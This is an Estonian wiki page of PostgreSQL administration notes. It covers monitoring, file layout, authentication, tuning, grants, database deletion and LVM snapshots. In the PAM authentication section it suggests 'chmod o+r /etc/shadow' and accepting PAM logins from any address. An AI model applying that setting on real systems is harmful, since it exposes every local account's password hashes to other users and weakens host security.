* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
